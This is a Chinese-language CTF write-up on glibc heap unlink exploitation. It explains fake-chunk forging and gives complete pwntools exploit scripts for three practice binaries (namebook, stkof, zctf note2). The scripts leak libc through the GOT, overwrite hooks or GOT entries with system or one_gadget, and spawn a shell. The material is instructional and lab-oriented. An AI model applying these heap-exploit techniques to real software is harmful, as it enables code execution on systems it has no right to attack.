之前看了好久的unlink,现在回来再看一下,顺便写个笔记
unlink 原理 当创建几个满足smallbin大小的块时,如果有可能使数据溢出,那么在中间的一个chunk中可以伪造一个fakechunk,同时溢出至下一个chunk的头部,伪造pre_size为fakechunk的size,修改size处的标志位,使之认为前一个chunk为空。 那么在free nextchunk(chunk2)时,因为unlink的机制,会先检查前一块chunk1是否为空,如果通过检验,那么便会将其卸下,之后再检查nextnextchunk(chunk3),发现正在使用,则执行unlink
1 2 3 4 5 FD=P->fd BK=P->bk FD->bk = BK BK->fd = FD
这样的操作在正常情况下会将空闲chunk卸下,但是在这样的伪造情况下,chunk1中的fakechunk便会进入chunklist。而在前面绕过unlink检查时,我们修改了fd与bk指针,使得P->FD->BK = P, P->BK->FD = P;为了能够得到对指针的控制,我们倾向于将其指向chunk1的指针所放置的内存之上,之后再修改chunk1的内容,实质上便是在修改自己的指针放置的位置及之后的指针,从而修改got表或者malloc_hook或free_hook之类的达到get_shell的目的。
使用heap-exploitation的例子来见证一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding }; unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); // Points to 0xa0e010 chunk2 = malloc(0x80); // Points to 0xa0e0a0 // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; // hex for "hacked!" printf("%s\n", data); // Prints "hacked!"
namebook h4lo大佬给的练习题,虽然相比后两个时间迟不久,但是因为比较简单,所以把插在前面
题目 依旧是练习题。
四个功能: add delete reset show
add 大小限制十个 , 固定malloc(0x10). delete free完清空指针 reset 大小变为0x100 明显溢出 show 根据指针显示内容
保护:
1 2 3 4 5 6 7 $ checksec namebook [*] '/home/sirius/tikool/prac/namebook/namebook' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
思路 先通过unlink 控制bss段存储指针的部分,然后泄露libc地址 有了libc地址之后复写malloc_hook 或free_hook 为one_gadget 就好
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context.log_level = 'debug' sh = process('./namebook') elf = ELF('./namebook') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def allocate(idx,name): sh.sendlineafter('>','1') sh.sendlineafter('index:',str(idx)) sh.sendlineafter('name:',name) def delete(idx): sh.sendlineafter('>','2') sh.sendlineafter('index:',str(idx)) def show(idx): sh.sendlineafter('>','3') sh.sendlineafter('index:',str(idx)) def reset(idx,name): sh.sendlineafter('>','4') sh.sendlineafter('index:',str(idx)) sh.sendlineafter('name:',name) allocate(0,'a') allocate(1,'b') allocate(2,'c') allocate(3,'d') ptr_addr = 0x602040 #delete(1) reset(0,p64(0x90)+p64(0x80)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+'a'*0x60+p64(0x80)+p64(0x90)) delete(1) #gdb.attach(sh) reset(0,'a'*0x18+p64(elf.got['puts'])+p64(0x602040)) show(0) puts_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00')) print 'puts_addr: '+hex(puts_addr) libc_base = puts_addr - libc.symbols['puts'] print 'libc_base: '+hex(libc_base) malloc_hook = libc_base + 0x3c4b10 print 'malloc_hook: '+hex(malloc_hook) free_hook = libc_base + libc.symbols['__free_hook'] print 'free_hook: '+hex(free_hook) one_gadget = libc_base + 0x4526a #gdb.attach(sh) reset(1,p64(free_hook)) reset(0,p64(one_gadget)) delete(2) #gdb.attach(sh) sh.interactive()
getshell结果:
1 2 3 4 [*] Switching to interactive mode $ ls core namebook namebookwp.py $
stkof 条件 选项1:malloc_chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 signed __int64 malloc_chunk() { __int64 size; // [rsp+0h] [rbp-80h] char *v2; // [rsp+8h] [rbp-78h] char s; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h] v4 = __readfsqword(0x28u); fgets(&s, 16, stdin); size = atoll(&s); v2 = (char *)malloc(size); if ( !v2 ) return 0xFFFFFFFFLL; ::s[++index] = v2; // ::全局 printf("%d\n", (unsigned int)index, size); return 0LL; }
选项二:edit_chunk //完全没考虑之前malloc时的大小,直接溢出就对了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 signed __int64 edit_chunk() { signed __int64 result; // rax int i; // eax unsigned int index; // [rsp+8h] [rbp-88h] __int64 size; // [rsp+10h] [rbp-80h] char *ptr; // [rsp+18h] [rbp-78h] char s; // [rsp+20h] [rbp-70h] unsigned __int64 v6; // [rsp+88h] [rbp-8h] v6 = __readfsqword(0x28u); fgets(&s, 16, stdin); index = atol(&s); if ( index > 0x100000 ) return 0xFFFFFFFFLL; if ( !::s[index] ) return 0xFFFFFFFFLL; fgets(&s, 16, stdin); size = atoll(&s); ptr = ::s[index]; for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) ) { ptr += i; size -= i; } if ( size ) result = 0xFFFFFFFFLL; else result = 0LL; return result; }
选项三:free_chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 signed __int64 free_chunk() { unsigned int v1; // [rsp+Ch] [rbp-74h] char s; // [rsp+10h] [rbp-70h] unsigned __int64 v3; // [rsp+78h] [rbp-8h] v3 = __readfsqword(0x28u); fgets(&s, 16, stdin); v1 = atol(&s); if ( v1 > 0x100000 ) return 0xFFFFFFFFLL; if ( !::s[v1] ) return 0xFFFFFFFFLL; free(::s[v1]); ::s[v1] = 0LL; // free and make it be 0 return 0LL; }
分析 基本上没什么分析的。。。漏洞很明显,就是在告诉你来unlink。
思路就是malloc几个smallbin大小的chunk,之后伪造fakechunk unlink, 之后edit被伪造的fakechunk的chunk,修改free,atoi的got表,调用system(“/bin/sh”)获得shell 1.利用unlink修改修改GOT表。 2.泄露libc基址。 3.将free_got改成system_addr. 4.free一个内存块,其中的内容是”/bin/sh”。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' context.binary = "./stkof" stkof = ELF('./stkof') if args['REMOTE']: p = remote('127.0.0.1', 7777) else: p = process("./stkof") log.info('PID: ' + str(proc.pidof(p)[0])) libc = ELF('./libc.so.6') head = 0x602140 //ida可以直接看,全局分配在了bss段 def alloc(size): p.sendline('1') p.sendline(str(size)) p.recvuntil('OK\n') def edit(idx, size, content): p.sendline('2') p.sendline(str(idx)) p.sendline(str(size)) p.send(content) p.recvuntil('OK\n') def free(idx): p.sendline('3') p.sendline(str(idx)) def exp(): # trigger to malloc buffer for io function alloc(0x100) # idx 1 alloc(0x30) # idx 2 # small chunk size inorder to trigger unlink alloc(0x80) # idx 3 # a fake chunk at global[2]=head+16 who's size is 0x20 pwndbg> x/6gx 0x602140 0x602140: 0x0000000000000000 0x000000000244d020 0x602150: 0x000000000244d540 0x000000000244d580 0x602160: 0x0000000000000000 0x0000000000000000 pwndbg> x/100gx 0x000000000244d530 0x244d530: 0x0000000000000000 0x0000000000000041 0x244d540: 0x0000000000000000 0x0000000000000000 0x244d550: 0x0000000000000000 0x0000000000000000 0x244d560: 0x0000000000000000 0x0000000000000000 0x244d570: 0x0000000000000000 0x0000000000000091 0x244d580: 0x0000000000000000 0x0000000000000000 0x244d590: 0x0000000000000000 0x0000000000000000 0x244d5a0: 0x0000000000000000 0x0000000000000000 0x244d5b0: 0x0000000000000000 0x0000000000000000 0x244d5c0: 0x0000000000000000 0x0000000000000000 0x244d5d0: 0x0000000000000000 0x0000000000000000 0x244d5e0: 0x0000000000000000 0x0000000000000000 0x244d5f0: 0x0000000000000000 0x0000000000000000 0x244d600: 0x0000000000000000 0x0000000000020a01 0x244d610: 0x0000000000000000 0x0000000000000000 payload = p64(0) #prev_size payload += p64(0x20) #size payload += p64(head + 16 - 0x18) #fd payload += p64(head + 16 - 0x10) #bk payload += p64(0x20) # next chunk's prev_size bypass the check payload = payload.ljust(0x30, 'a') # overwrite global[3]'s chunk's prev_size # make it believe that prev chunk is at global[2] payload += p64(0x30) # make it believe that prev chunk is free payload += p64(0x90) edit(2, len(payload), payload) # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8 free(3) p.recvuntil('OK\n') gdb.attach(p) pwndbg> x/6gx 0x602140 0x602140: 0x0000000000000000 0x000000000244d020 0x602150: 0x0000000000602138 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64( stkof.got['atoi']) edit(2, len(payload), payload) # edit free@got to puts@plt payload = p64(stkof.plt['puts']) edit(0, len(payload), payload) gdb.attach(p) pwndbg> x/6gx 0x602130 0x602130: 0x0000000000000000 0x6161616161616161 0x602140: 0x0000000000602018 //free 0x0000000000602020 //puts 0x602150: 0x0000000000602088 //atoi 0x0000000000000000 #free global[1] to leak puts addr free(1) puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00') puts_addr = u64(puts_addr) log.success('puts addr: ' + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] binsh_addr = libc_base + next(libc.search('/bin/sh')) system_addr = libc_base + libc.symbols['system'] log.success('libc base: ' + hex(libc_base)) log.success('/bin/sh addr: ' + hex(binsh_addr)) log.success('system addr: ' + hex(system_addr)) # modify atoi@got to system addr payload = p64(system_addr) edit(2, len(payload), payload) p.send(p64(binsh_addr)) p.interactive() if __name__ == "__main__": exp()
zctf-note2 其实和stkof差不太多
条件
创建 //最多只能有三个note,同时note大小最大128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int NewNote() { char *note; // ST08_8 unsigned int v2; // eax unsigned int size; // [rsp+4h] [rbp-Ch] if ( (unsigned int)NoteNum > 3 ) return puts("note lists are full"); puts("Input the length of the note content:(less than 128)"); size = inputNum(); if ( size > 0x80 ) return puts("Too long"); note = (char *)malloc(size); puts("Input the note content:"); ReadStr(note, size, 10); RemovePercent(note); ptr[NoteNum] = (__int64)note; Len[NoteNum] = size; v2 = NoteNum++; return printf("note add success, the id is %d\n", v2); }
修改 //两种方式,overwrite与append
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 puts("do you want to overwrite or append?[1.overwrite/2.append]"); v4 = inputNum(); if ( v4 == 1 || v4 == 2 ) { if ( v4 == 1 ) dest = 0; else strcpy(&dest, src); v0 = (char *)malloc(0xA0uLL); v8 = v0; *(_QWORD *)v0 = 'oCweNehT'; *((_QWORD *)v0 + 1) = ':stnetn'; printf(v8); ReadStr(v8 + 15, 0x90LL, 10); RemovePercent(v8 + 15); v1 = v8; v1[v6 - strlen(&dest) + 14] = 0; strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL); strcpy(src, &dest); free(v8); puts("Edit note success!");
还有show的功能和delete的功能,这里就不展示了
分析 相比于stkof显而易见的漏洞,这个因为edit的操作较为复杂,漏洞没有那么容易出来,但是如果出来便可以直接利用。 在malloc时,可以输入size为0,这样将自动分配最小单位即0x20大小的chunk,但是在readstr时允许输入size-1大小的数,也就是0xffffffff,这样便足以溢出去修改。 free之后再申请同样大小的chunk,便会将其列入第四个chunk但是位置仍然在之前chunk1的位置,通过之前size的漏洞修改chunk3的pre_size及size得到unlink的条件。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import * sh = process('./note2') note2 = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug' def newnote(length, content): sh.recvuntil('option--->>') sh.sendline('1') sh.recvuntil('(less than 128)') sh.sendline(str(length)) sh.recvuntil('content:') sh.sendline(content) def shownote(id): sh.recvuntil('option--->>') sh.sendline('2') sh.recvuntil('note:') sh.sendline(str(id)) def editnote(id, choice, s): sh.recvuntil('option--->>') sh.sendline('3') sh.recvuntil('note:') sh.sendline(str(id)) sh.recvuntil('2.append]') sh.sendline(str(choice)) sh.sendline(s) def deletenote(id): sh.recvuntil('option--->>') sh.sendline('4') sh.recvuntil('note:') sh.sendline(str(id)) sh.recvuntil('name:') sh.sendline('siriuswhiter') sh.recvuntil('address:') sh.sendline('aaaaaaaaaaaaaaaaa') # chunk0: a fake chunk ptr = 0x0000000000602120 fakefd = ptr - 0x18 fakebk = ptr - 0x10 content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60) #content = p64(fakefd) + p64(fakebk) newnote(128, content) # chunk1: a zero size chunk produce overwrite newnote(0, 'a' * 8) # chunk2: a chunk to be overwrited and freed newnote(0x80, 'b' * 16) gdb.attach(sh) # edit the chunk1 to overwrite the chunk2 deletenote(1) content = 'a' * 16 + p64(0xa0) + p64(0x90) newnote(0, content) #gdb.attach(sh) # delete note 2 to trigger the unlink # after unlink, ptr[0] = ptr - 0x18 deletenote(2) gdb.attach(sh) # overwrite the chunk0(which is ptr[0]) with got atoi atoi_got = note2.got['atoi'] content = 'a' * 0x18 + p64(atoi_got) editnote(0, 1, content) # get the aoti addr shownote(0) sh.recvuntil('is ') atoi_addr = sh.recvuntil('\n', drop=True) print atoi_addr atoi_addr = u64(atoi_addr.ljust(8, '\x00')) print 'leak atoi addr: ' + hex(atoi_addr) # get system addr atoi_offest = libc.symbols['atoi'] libcbase = atoi_addr - atoi_offest system_offest = libc.symbols['system'] system_addr = libcbase + system_offest print 'leak system addr: ', hex(system_addr) # overwrite the atoi got with systemaddr content = p64(system_addr) editnote(0, 1, content) gdb.attach(sh) # get shell sh.recvuntil('option--->>') sh.sendline('/bin/sh') sh.interactive()